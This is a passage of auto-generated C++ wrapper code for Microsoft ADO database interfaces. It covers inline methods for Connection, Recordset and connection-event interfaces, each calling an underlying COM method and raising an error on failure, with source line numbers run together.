_com_issue_errorex(_hr, this, __uuidof(this)); 1227 | } 1228 | 1229 | inline _bstr_t Connection15::GetVersion ( ) { 1230 | BSTR _result = 0; 1231 | HRESULT _hr = get_Version(&_result); 1232 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1233 | return _bstr_t(_result, false); 1234 | } 1235 | 1236 | inline HRESULT Connection15::Close ( ) { 1237 | HRESULT _hr = raw_Close(); 1238 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1239 | return _hr; 1240 | } 1241 | 1242 | inline _RecordsetPtr Connection15::Execute ( _bstr_t CommandText, VARIANT * RecordsAffected, long Options ) { 1243 | struct _Recordset * _result = 0; 1244 | HRESULT _hr = raw_Execute(CommandText, RecordsAffected, Options, &_result); 1245 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1246 | return _RecordsetPtr(_result, false); 1247 | } 1248 | 1249 | inline long Connection15::BeginTrans ( ) { 1250 | long _result = 0; 1251 | HRESULT _hr = raw_BeginTrans(&_result); 1252 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1253 | return _result; 1254 | } 1255 | 1256 | inline HRESULT Connection15::CommitTrans ( ) { 1257 | HRESULT _hr = raw_CommitTrans(); 1258 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1259 | return _hr; 1260 | } 1261 | 1262 | inline HRESULT Connection15::RollbackTrans ( ) { 1263 | HRESULT _hr = raw_RollbackTrans(); 1264 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1265 | return _hr; 1266 | } 1267 | 1268 | inline HRESULT Connection15::Open ( _bstr_t ConnectionString, _bstr_t UserID, _bstr_t Password, long Options ) { 1269 | HRESULT _hr = raw_Open(ConnectionString, UserID, Password, Options); 1270 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1271 | return _hr; 1272 | } 1273 | 1274 | inline ErrorsPtr Connection15::GetErrors ( ) { 1275 | struct Errors * _result = 0; 1276 | HRESULT _hr = get_Errors(&_result); 1277 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1278 | return ErrorsPtr(_result, false); 1279 | } 1280 | 1281 | inline _bstr_t Connection15::GetDefaultDatabase ( ) { 1282 | BSTR _result = 0; 1283 | HRESULT _hr = get_DefaultDatabase(&_result); 1284 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1285 | return _bstr_t(_result, false); 1286 | } 1287 | 1288 | inline void Connection15::PutDefaultDatabase ( _bstr_t pbstr ) { 1289 | HRESULT _hr = put_DefaultDatabase(pbstr); 1290 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1291 | } 1292 | 1293 | inline enum IsolationLevelEnum Connection15::GetIsolationLevel ( ) { 1294 | enum IsolationLevelEnum _result; 1295 | HRESULT _hr = get_IsolationLevel(&_result); 1296 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1297 | return _result; 1298 | } 1299 | 1300 | inline void Connection15::PutIsolationLevel ( enum IsolationLevelEnum Level ) { 1301 | HRESULT _hr = put_IsolationLevel(Level); 1302 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1303 | } 1304 | 1305 | inline long Connection15::GetAttributes ( ) { 1306 | long _result = 0; 1307 | HRESULT _hr = get_Attributes(&_result); 1308 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1309 | return _result; 1310 | } 1311 | 1312 | inline void Connection15::PutAttributes ( long plAttr ) { 1313 | HRESULT _hr = put_Attributes(plAttr); 1314 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1315 | } 1316 | 1317 | inline enum CursorLocationEnum Connection15::GetCursorLocation ( ) { 1318 | enum CursorLocationEnum _result; 1319 | HRESULT _hr = get_CursorLocation(&_result); 1320 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1321 | return _result; 1322 | } 1323 | 1324 | inline void Connection15::PutCursorLocation ( enum CursorLocationEnum plCursorLoc ) { 1325 | HRESULT _hr = put_CursorLocation(plCursorLoc); 1326 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1327 | } 1328 | 1329 | inline enum ConnectModeEnum Connection15::GetMode ( ) { 1330 | enum ConnectModeEnum _result; 1331 | HRESULT _hr = get_Mode(&_result); 1332 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1333 | return _result; 1334 | } 1335 | 1336 | inline void Connection15::PutMode ( enum ConnectModeEnum plMode ) { 1337 | HRESULT _hr = put_Mode(plMode); 1338 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1339 | } 1340 | 1341 | inline _bstr_t Connection15::GetProvider ( ) { 1342 | BSTR _result = 0; 1343 | HRESULT _hr = get_Provider(&_result); 1344 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1345 | return _bstr_t(_result, false); 1346 | } 1347 | 1348 | inline void Connection15::PutProvider ( _bstr_t pbstr ) { 1349 | HRESULT _hr = put_Provider(pbstr); 1350 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1351 | } 1352 | 1353 | inline long Connection15::GetState ( ) { 1354 | long _result = 0; 1355 | HRESULT _hr = get_State(&_result); 1356 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1357 | return _result; 1358 | } 1359 | 1360 | inline _RecordsetPtr Connection15::OpenSchema ( enum SchemaEnum Schema, const _variant_t & Restrictions, const _variant_t & SchemaID ) { 1361 | struct _Recordset * _result = 0; 1362 | HRESULT _hr = raw_OpenSchema(Schema, Restrictions, SchemaID, &_result); 1363 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1364 | return _RecordsetPtr(_result, false); 1365 | } 1366 | 1367 | // 1368 | // interface _Connection wrapper method implementations 1369 | // 1370 | 1371 | inline HRESULT _Connection::Cancel ( ) { 1372 | HRESULT _hr = raw_Cancel(); 1373 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1374 | return _hr; 1375 | } 1376 | 1377 | // 1378 | // interface Recordset15 wrapper method implementations 1379 | // 1380 | 1381 | inline PositionEnum_Param Recordset15::GetAbsolutePosition ( ) { 1382 | PositionEnum_Param _result; 1383 | HRESULT _hr = get_AbsolutePosition(&_result); 1384 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1385 | return _result; 1386 | } 1387 | 1388 | inline void Recordset15::PutAbsolutePosition ( PositionEnum_Param pl ) { 1389 | HRESULT _hr = put_AbsolutePosition(pl); 1390 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1391 | } 1392 | 1393 | inline void Recordset15::PutRefActiveConnection ( IDispatch * pvar ) { 1394 | HRESULT _hr = putref_ActiveConnection(pvar); 1395 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1396 | } 1397 | 1398 | inline void Recordset15::PutActiveConnection ( const _variant_t & pvar ) { 1399 | HRESULT _hr = put_ActiveConnection(pvar); 1400 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1401 | } 1402 | 1403 | inline _variant_t Recordset15::GetActiveConnection ( ) { 1404 | VARIANT _result; 1405 | VariantInit(&_result); 1406 | HRESULT _hr = get_ActiveConnection(&_result); 1407 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1408 | return _variant_t(_result, false); 1409 | } 1410 | 1411 | inline VARIANT_BOOL Recordset15::GetBOF ( ) { 1412 | VARIANT_BOOL _result = 0; 1413 | HRESULT _hr = get_BOF(&_result); 1414 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1415 | return _result; 1416 | } 1417 | 1418 | inline _variant_t Recordset15::GetBookmark ( ) { 1419 | VARIANT _result; 1420 | VariantInit(&_result); 1421 | HRESULT _hr = get_Bookmark(&_result); 1422 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1423 | return _variant_t(_result, false); 1424 | } 1425 | 1426 | inline void Recordset15::PutBookmark ( const _variant_t & pvBookmark ) { 1427 | HRESULT _hr = put_Bookmark(pvBookmark); 1428 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1429 | } 1430 | 1431 | inline long Recordset15::GetCacheSize ( ) { 1432 | long _result = 0; 1433 | HRESULT _hr = get_CacheSize(&_result); 1434 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1435 | return _result; 1436 | } 1437 | 1438 | inline void Recordset15::PutCacheSize ( long pl ) { 1439 | HRESULT _hr = put_CacheSize(pl); 1440 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1441 | } 1442 | 1443 | inline enum CursorTypeEnum Recordset15::GetCursorType ( ) { 1444 | enum CursorTypeEnum _result; 1445 | HRESULT _hr = get_CursorType(&_result); 1446 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1447 | return _result; 1448 | } 1449 | 1450 | inline void Recordset15::PutCursorType ( enum CursorTypeEnum plCursorType ) { 1451 | HRESULT _hr = put_CursorType(plCursorType); 1452 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1453 | } 1454 | 1455 | inline VARIANT_BOOL Recordset15::GetadoEOF ( ) { 1456 | VARIANT_BOOL _result = 0; 1457 | HRESULT _hr = get_adoEOF(&_result); 1458 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1459 | return _result; 1460 | } 1461 | 1462 | inline FieldsPtr Recordset15::GetFields ( ) { 1463 | struct Fields * _result = 0; 1464 | HRESULT _hr = get_Fields(&_result); 1465 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1466 | return FieldsPtr(_result, false); 1467 | } 1468 | 1469 | inline enum LockTypeEnum Recordset15::GetLockType ( ) { 1470 | enum LockTypeEnum _result; 1471 | HRESULT _hr = get_LockType(&_result); 1472 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1473 | return _result; 1474 | } 1475 | 1476 | inline void Recordset15::PutLockType ( enum LockTypeEnum plLockType ) { 1477 | HRESULT _hr = put_LockType(plLockType); 1478 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1479 | } 1480 | 1481 | inline ADO_LONGPTR Recordset15::GetMaxRecords ( ) { 1482 | ADO_LONGPTR _result; 1483 | HRESULT _hr = get_MaxRecords(&_result); 1484 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1485 | return _result; 1486 | } 1487 | 1488 | inline void Recordset15::PutMaxRecords ( ADO_LONGPTR plMaxRecords ) { 1489 | HRESULT _hr = put_MaxRecords(plMaxRecords); 1490 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1491 | } 1492 | 1493 | inline ADO_LONGPTR Recordset15::GetRecordCount ( ) { 1494 | ADO_LONGPTR _result; 1495 | HRESULT _hr = get_RecordCount(&_result); 1496 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1497 | return _result; 1498 | } 1499 | 1500 | inline void Recordset15::PutRefSource ( IDispatch * pvSource ) { 1501 | HRESULT _hr = putref_Source(pvSource); 1502 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1503 | } 1504 | 1505 | inline void Recordset15::PutSource ( _bstr_t pvSource ) { 1506 | HRESULT _hr = put_Source(pvSource); 1507 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1508 | } 1509 | 1510 | inline _variant_t Recordset15::GetSource ( ) { 1511 | VARIANT _result; 1512 | VariantInit(&_result); 1513 | HRESULT _hr = get_Source(&_result); 1514 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1515 | return _variant_t(_result, false); 1516 | } 1517 | 1518 | inline HRESULT Recordset15::AddNew ( const _variant_t & FieldList, const _variant_t & Values ) { 1519 | HRESULT _hr = raw_AddNew(FieldList, Values); 1520 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1521 | return _hr; 1522 | } 1523 | 1524 | inline HRESULT Recordset15::CancelUpdate ( ) { 1525 | HRESULT _hr = raw_CancelUpdate(); 1526 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1527 | return _hr; 1528 | } 1529 | 1530 | inline HRESULT Recordset15::Close ( ) { 1531 | HRESULT _hr = raw_Close(); 1532 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1533 | return _hr; 1534 | } 1535 | 1536 | inline HRESULT Recordset15::Delete ( enum AffectEnum AffectRecords ) { 1537 | HRESULT _hr = raw_Delete(AffectRecords); 1538 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1539 | return _hr; 1540 | } 1541 | 1542 | inline _variant_t Recordset15::GetRows ( long Rows, const _variant_t & Start, const _variant_t & Fields ) { 1543 | VARIANT _result; 1544 | VariantInit(&_result); 1545 | HRESULT _hr = raw_GetRows(Rows, Start, Fields, &_result); 1546 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1547 | return _variant_t(_result, false); 1548 | } 1549 | 1550 | inline HRESULT Recordset15::Move ( ADO_LONGPTR NumRecords, const _variant_t & Start ) { 1551 | HRESULT _hr = raw_Move(NumRecords, Start); 1552 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1553 | return _hr; 1554 | } 1555 | 1556 | inline HRESULT Recordset15::MoveNext ( ) { 1557 | HRESULT _hr = raw_MoveNext(); 1558 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1559 | return _hr; 1560 | } 1561 | 1562 | inline HRESULT Recordset15::MovePrevious ( ) { 1563 | HRESULT _hr = raw_MovePrevious(); 1564 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1565 | return _hr; 1566 | } 1567 | 1568 | inline HRESULT Recordset15::MoveFirst ( ) { 1569 | HRESULT _hr = raw_MoveFirst(); 1570 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1571 | return _hr; 1572 | } 1573 | 1574 | inline HRESULT Recordset15::MoveLast ( ) { 1575 | HRESULT _hr = raw_MoveLast(); 1576 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1577 | return _hr; 1578 | } 1579 | 1580 | inline HRESULT Recordset15::Open ( const _variant_t & Source, const _variant_t & ActiveConnection, enum CursorTypeEnum CursorType, enum LockTypeEnum LockType, long Options ) { 1581 | HRESULT _hr = raw_Open(Source, ActiveConnection, CursorType, LockType, Options); 1582 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1583 | return _hr; 1584 | } 1585 | 1586 | inline HRESULT Recordset15::Requery ( long Options ) { 1587 | HRESULT _hr = raw_Requery(Options); 1588 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1589 | return _hr; 1590 | } 1591 | 1592 | inline HRESULT Recordset15::_xResync ( enum AffectEnum AffectRecords ) { 1593 | HRESULT _hr = raw__xResync(AffectRecords); 1594 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1595 | return _hr; 1596 | } 1597 | 1598 | inline HRESULT Recordset15::Update ( const _variant_t & Fields, const _variant_t & Values ) { 1599 | HRESULT _hr = raw_Update(Fields, Values); 1600 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1601 | return _hr; 1602 | } 1603 | 1604 | inline PositionEnum_Param Recordset15::GetAbsolutePage ( ) { 1605 | PositionEnum_Param _result; 1606 | HRESULT _hr = get_AbsolutePage(&_result); 1607 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1608 | return _result; 1609 | } 1610 | 1611 | inline void Recordset15::PutAbsolutePage ( PositionEnum_Param pl ) { 1612 | HRESULT _hr = put_AbsolutePage(pl); 1613 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1614 | } 1615 | 1616 | inline enum EditModeEnum Recordset15::GetEditMode ( ) { 1617 | enum EditModeEnum _result; 1618 | HRESULT _hr = get_EditMode(&_result); 1619 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1620 | return _result; 1621 | } 1622 | 1623 | inline _variant_t Recordset15::GetFilter ( ) { 1624 | VARIANT _result; 1625 | VariantInit(&_result); 1626 | HRESULT _hr = get_Filter(&_result); 1627 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1628 | return _variant_t(_result, false); 1629 | } 1630 | 1631 | inline void Recordset15::PutFilter ( const _variant_t & Criteria ) { 1632 | HRESULT _hr = put_Filter(Criteria); 1633 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1634 | } 1635 | 1636 | inline ADO_LONGPTR Recordset15::GetPageCount ( ) { 1637 | ADO_LONGPTR _result; 1638 | HRESULT _hr = get_PageCount(&_result); 1639 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1640 | return _result; 1641 | } 1642 | 1643 | inline long Recordset15::GetPageSize ( ) { 1644 | long _result = 0; 1645 | HRESULT _hr = get_PageSize(&_result); 1646 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1647 | return _result; 1648 | } 1649 | 1650 | inline void Recordset15::PutPageSize ( long pl ) { 1651 | HRESULT _hr = put_PageSize(pl); 1652 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1653 | } 1654 | 1655 | inline _bstr_t Recordset15::GetSort ( ) { 1656 | BSTR _result = 0; 1657 | HRESULT _hr = get_Sort(&_result); 1658 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1659 | return _bstr_t(_result, false); 1660 | } 1661 | 1662 | inline void Recordset15::PutSort ( _bstr_t Criteria ) { 1663 | HRESULT _hr = put_Sort(Criteria); 1664 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1665 | } 1666 | 1667 | inline long Recordset15::GetStatus ( ) { 1668 | long _result = 0; 1669 | HRESULT _hr = get_Status(&_result); 1670 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1671 | return _result; 1672 | } 1673 | 1674 | inline long Recordset15::GetState ( ) { 1675 | long _result = 0; 1676 | HRESULT _hr = get_State(&_result); 1677 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1678 | return _result; 1679 | } 1680 | 1681 | inline _RecordsetPtr Recordset15::_xClone ( ) { 1682 | struct _Recordset * _result = 0; 1683 | HRESULT _hr = raw__xClone(&_result); 1684 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1685 | return _RecordsetPtr(_result, false); 1686 | } 1687 | 1688 | inline HRESULT Recordset15::UpdateBatch ( enum AffectEnum AffectRecords ) { 1689 | HRESULT _hr = raw_UpdateBatch(AffectRecords); 1690 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1691 | return _hr; 1692 | } 1693 | 1694 | inline HRESULT Recordset15::CancelBatch ( enum AffectEnum AffectRecords ) { 1695 | HRESULT _hr = raw_CancelBatch(AffectRecords); 1696 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1697 | return _hr; 1698 | } 1699 | 1700 | inline enum CursorLocationEnum Recordset15::GetCursorLocation ( ) { 1701 | enum CursorLocationEnum _result; 1702 | HRESULT _hr = get_CursorLocation(&_result); 1703 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1704 | return _result; 1705 | } 1706 | 1707 | inline void Recordset15::PutCursorLocation ( enum CursorLocationEnum plCursorLoc ) { 1708 | HRESULT _hr = put_CursorLocation(plCursorLoc); 1709 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1710 | } 1711 | 1712 | inline _RecordsetPtr Recordset15::NextRecordset ( VARIANT * RecordsAffected ) { 1713 | struct _Recordset * _result = 0; 1714 | HRESULT _hr = raw_NextRecordset(RecordsAffected, &_result); 1715 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1716 | return _RecordsetPtr(_result, false); 1717 | } 1718 | 1719 | inline VARIANT_BOOL Recordset15::Supports ( enum CursorOptionEnum CursorOptions ) { 1720 | VARIANT_BOOL _result = 0; 1721 | HRESULT _hr = raw_Supports(CursorOptions, &_result); 1722 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1723 | return _result; 1724 | } 1725 | 1726 | inline _variant_t Recordset15::GetCollect ( const _variant_t & Index ) { 1727 | VARIANT _result; 1728 | VariantInit(&_result); 1729 | HRESULT _hr = get_Collect(Index, &_result); 1730 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1731 | return _variant_t(_result, false); 1732 | } 1733 | 1734 | inline void Recordset15::PutCollect ( const _variant_t & Index, const _variant_t & pvar ) { 1735 | HRESULT _hr = put_Collect(Index, pvar); 1736 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1737 | } 1738 | 1739 | inline enum MarshalOptionsEnum Recordset15::GetMarshalOptions ( ) { 1740 | enum MarshalOptionsEnum _result; 1741 | HRESULT _hr = get_MarshalOptions(&_result); 1742 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1743 | return _result; 1744 | } 1745 | 1746 | inline void Recordset15::PutMarshalOptions ( enum MarshalOptionsEnum peMarshal ) { 1747 | HRESULT _hr = put_MarshalOptions(peMarshal); 1748 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1749 | } 1750 | 1751 | inline HRESULT Recordset15::Find ( _bstr_t Criteria, ADO_LONGPTR SkipRecords, enum SearchDirectionEnum SearchDirection, const _variant_t & Start ) { 1752 | HRESULT _hr = raw_Find(Criteria, SkipRecords, SearchDirection, Start); 1753 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1754 | return _hr; 1755 | } 1756 | 1757 | // 1758 | // interface Recordset20 wrapper method implementations 1759 | // 1760 | 1761 | inline HRESULT Recordset20::Cancel ( ) { 1762 | HRESULT _hr = raw_Cancel(); 1763 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1764 | return _hr; 1765 | } 1766 | 1767 | inline IUnknownPtr Recordset20::GetDataSource ( ) { 1768 | IUnknown * _result = 0; 1769 | HRESULT _hr = get_DataSource(&_result); 1770 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1771 | return IUnknownPtr(_result, false); 1772 | } 1773 | 1774 | inline void Recordset20::PutRefDataSource ( IUnknown * ppunkDataSource ) { 1775 | HRESULT _hr = putref_DataSource(ppunkDataSource); 1776 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1777 | } 1778 | 1779 | inline HRESULT Recordset20::_xSave ( _bstr_t FileName, enum PersistFormatEnum PersistFormat ) { 1780 | HRESULT _hr = raw__xSave(FileName, PersistFormat); 1781 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1782 | return _hr; 1783 | } 1784 | 1785 | inline IDispatchPtr Recordset20::GetActiveCommand ( ) { 1786 | IDispatch * _result = 0; 1787 | HRESULT _hr = get_ActiveCommand(&_result); 1788 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1789 | return IDispatchPtr(_result, false); 1790 | } 1791 | 1792 | inline void Recordset20::PutStayInSync ( VARIANT_BOOL pbStayInSync ) { 1793 | HRESULT _hr = put_StayInSync(pbStayInSync); 1794 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1795 | } 1796 | 1797 | inline VARIANT_BOOL Recordset20::GetStayInSync ( ) { 1798 | VARIANT_BOOL _result = 0; 1799 | HRESULT _hr = get_StayInSync(&_result); 1800 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1801 | return _result; 1802 | } 1803 | 1804 | inline _bstr_t Recordset20::GetString ( enum StringFormatEnum StringFormat, long NumRows, _bstr_t ColumnDelimeter, _bstr_t RowDelimeter, _bstr_t NullExpr ) { 1805 | BSTR _result = 0; 1806 | HRESULT _hr = raw_GetString(StringFormat, NumRows, ColumnDelimeter, RowDelimeter, NullExpr, &_result); 1807 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1808 | return _bstr_t(_result, false); 1809 | } 1810 | 1811 | inline _bstr_t Recordset20::GetDataMember ( ) { 1812 | BSTR _result = 0; 1813 | HRESULT _hr = get_DataMember(&_result); 1814 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1815 | return _bstr_t(_result, false); 1816 | } 1817 | 1818 | inline void Recordset20::PutDataMember ( _bstr_t pbstrDataMember ) { 1819 | HRESULT _hr = put_DataMember(pbstrDataMember); 1820 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1821 | } 1822 | 1823 | inline enum CompareEnum Recordset20::CompareBookmarks ( const _variant_t & Bookmark1, const _variant_t & Bookmark2 ) { 1824 | enum CompareEnum _result; 1825 | HRESULT _hr = raw_CompareBookmarks(Bookmark1, Bookmark2, &_result); 1826 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1827 | return _result; 1828 | } 1829 | 1830 | inline _RecordsetPtr Recordset20::Clone ( enum LockTypeEnum LockType ) { 1831 | struct _Recordset * _result = 0; 1832 | HRESULT _hr = raw_Clone(LockType, &_result); 1833 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1834 | return _RecordsetPtr(_result, false); 1835 | } 1836 | 1837 | inline HRESULT Recordset20::Resync ( enum AffectEnum AffectRecords, enum ResyncEnum ResyncValues ) { 1838 | HRESULT _hr = raw_Resync(AffectRecords, ResyncValues); 1839 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1840 | return _hr; 1841 | } 1842 | 1843 | // 1844 | // interface Recordset21 wrapper method implementations 1845 | // 1846 | 1847 | inline HRESULT Recordset21::Seek ( const _variant_t & KeyValues, enum SeekEnum SeekOption ) { 1848 | HRESULT _hr = raw_Seek(KeyValues, SeekOption); 1849 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1850 | return _hr; 1851 | } 1852 | 1853 | inline void Recordset21::PutIndex ( _bstr_t pbstrIndex ) { 1854 | HRESULT _hr = put_Index(pbstrIndex); 1855 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1856 | } 1857 | 1858 | inline _bstr_t Recordset21::GetIndex ( ) { 1859 | BSTR _result = 0; 1860 | HRESULT _hr = get_Index(&_result); 1861 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1862 | return _bstr_t(_result, false); 1863 | } 1864 | 1865 | // 1866 | // interface _Recordset wrapper method implementations 1867 | // 1868 | 1869 | inline HRESULT _Recordset::Save ( const _variant_t & Destination, enum PersistFormatEnum PersistFormat ) { 1870 | HRESULT _hr = raw_Save(Destination, PersistFormat); 1871 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1872 | return _hr; 1873 | } 1874 | 1875 | // 1876 | // interface ConnectionEventsVt wrapper method implementations 1877 | // 1878 | 1879 | inline HRESULT ConnectionEventsVt::InfoMessage ( struct Error * pError, enum EventStatusEnum * adStatus, struct _Connection * pConnection ) { 1880 | HRESULT _hr = raw_InfoMessage(pError, adStatus, pConnection); 1881 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1882 | return _hr; 1883 | } 1884 | 1885 | inline HRESULT ConnectionEventsVt::BeginTransComplete ( long TransactionLevel, struct Error * pError, enum EventStatusEnum * adStatus, struct _Connection * pConnection ) { 1886 | HRESULT _hr = raw_BeginTransComplete(TransactionLevel, pError, adStatus, pConnection); 1887 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1888 | return _hr; 1889 | } 1890 | 1891 | inline HRESULT ConnectionEventsVt::CommitTransComplete ( struct Error * pError, enum EventStatusEnum * adStatus, struct _Connection * pConnection ) { 1892 | HRESULT _hr = raw_CommitTransComplete(pError, adStatus, pConnection); 1893 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1894 | return _hr; 1895 | } 1896 | 1897 | inline HRESULT ConnectionEventsVt::RollbackTransComplete ( struct Error * pError, enum EventStatusEnum * adStatus, struct _Connection * pConnection ) { 1898 | HRESULT _hr = raw_RollbackTransComplete(pError, adStatus, pConnection); 1899 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1900 | return _hr; 1901 | } 1902 | 1903 | inline HRESULT ConnectionEventsVt::WillExecute ( BSTR * Source, enum CursorTypeEnum * CursorType, enum LockTypeEnum * LockType, long * Options, enum EventStatusEnum * adStatus, struct _Command * pCommand, struct _Recordset * pRecordset, struct _Connection * pConnection ) { 1904 | HRESULT _hr = raw_WillExecute(Source, CursorType, LockType, Options, adStatus, pCommand, pRecordset, pConnection); 1905 | if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); 1906 | return _hr; 1907 | } 1908 | 1909 | inline HRESULT ConnectionEventsVt::ExecuteComplete ( long RecordsAffected, struct Error * pError, enum EventStatusEnum * adStatus, struct _Command * pCommand, struct _Recordset * pRecordset, struct _Connection * pConnection ) { 1910 | HRESULT _hr = 